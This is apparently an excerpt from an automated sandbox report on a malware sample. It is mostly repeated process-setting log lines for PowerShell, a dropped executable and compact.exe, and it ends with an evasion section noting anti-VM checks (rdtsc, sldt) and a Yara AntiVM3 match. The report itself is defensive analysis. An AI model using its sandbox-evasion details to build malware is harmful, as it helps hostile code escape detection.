            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\compact.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\compact.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\compact.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\compact.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\compact.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\compact.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\compact.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\compact.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\compact.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\compact.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\compact.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\compact.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\compact.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\compact.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\compact.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\compact.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\compact.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\compact.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
            Source: C:\Users\user\AppData\Local\Temp\bfc.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\AppData\Local\Temp\bfc.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\user\AppData\Local\Temp\bfc.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX

            Malware Analysis System Evasion

            barindex
            Yara detected AntiVM3
            Source: Yara matchFile source: Process Memory Space: P1 HWT623ATG.bat.exe PID: 5064, type: MEMORYSTR
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeMemory allocated: 2FA0000 memory reserve | memory write watchJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeMemory allocated: 30E0000 memory reserve | memory write watchJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeMemory allocated: 50E0000 memory reserve | memory write watchJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeMemory allocated: 9140000 memory reserve | memory write watchJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeMemory allocated: A140000 memory reserve | memory write watchJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeMemory allocated: A440000 memory reserve | memory write watchJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeMemory allocated: B440000 memory reserve | memory write watchJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeMemory allocated: 2360000 memory reserve | memory write watchJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeMemory allocated: 24F0000 memory reserve | memory write watchJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeMemory allocated: 44F0000 memory reserve | memory write watchJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeMemory allocated: 8490000 memory reserve | memory write watchJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeMemory allocated: 9490000 memory reserve | memory write watchJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeMemory allocated: 8490000 memory reserve | memory write watchJump to behavior
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 9_2_0127096E rdtsc 9_2_0127096E
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeCode function: 1_2_064C1B22 sldt word ptr [eax]1_2_064C1B22
